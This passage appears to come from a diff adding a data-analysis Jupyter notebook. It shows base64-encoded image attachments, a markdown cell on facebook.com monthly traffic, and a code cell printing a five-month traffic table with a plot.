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" + } + }, + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## facebook.com monthly traffic\n", + "![image.png](attachment:image.png)" + ] + }, + { + "cell_type": "code", + "execution_count": 135, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Table :\n", + "\n", + " Month Traffic(billions)\n", + "0 Oct_20 26.1\n", + "1 Nov_20 25.5\n", + "2 Dec_20 25.3\n", + "3 Jan_21 23.1\n", + "4 Feb_21 20.3\n" + ] + }, + { + "data": { + "image/png": "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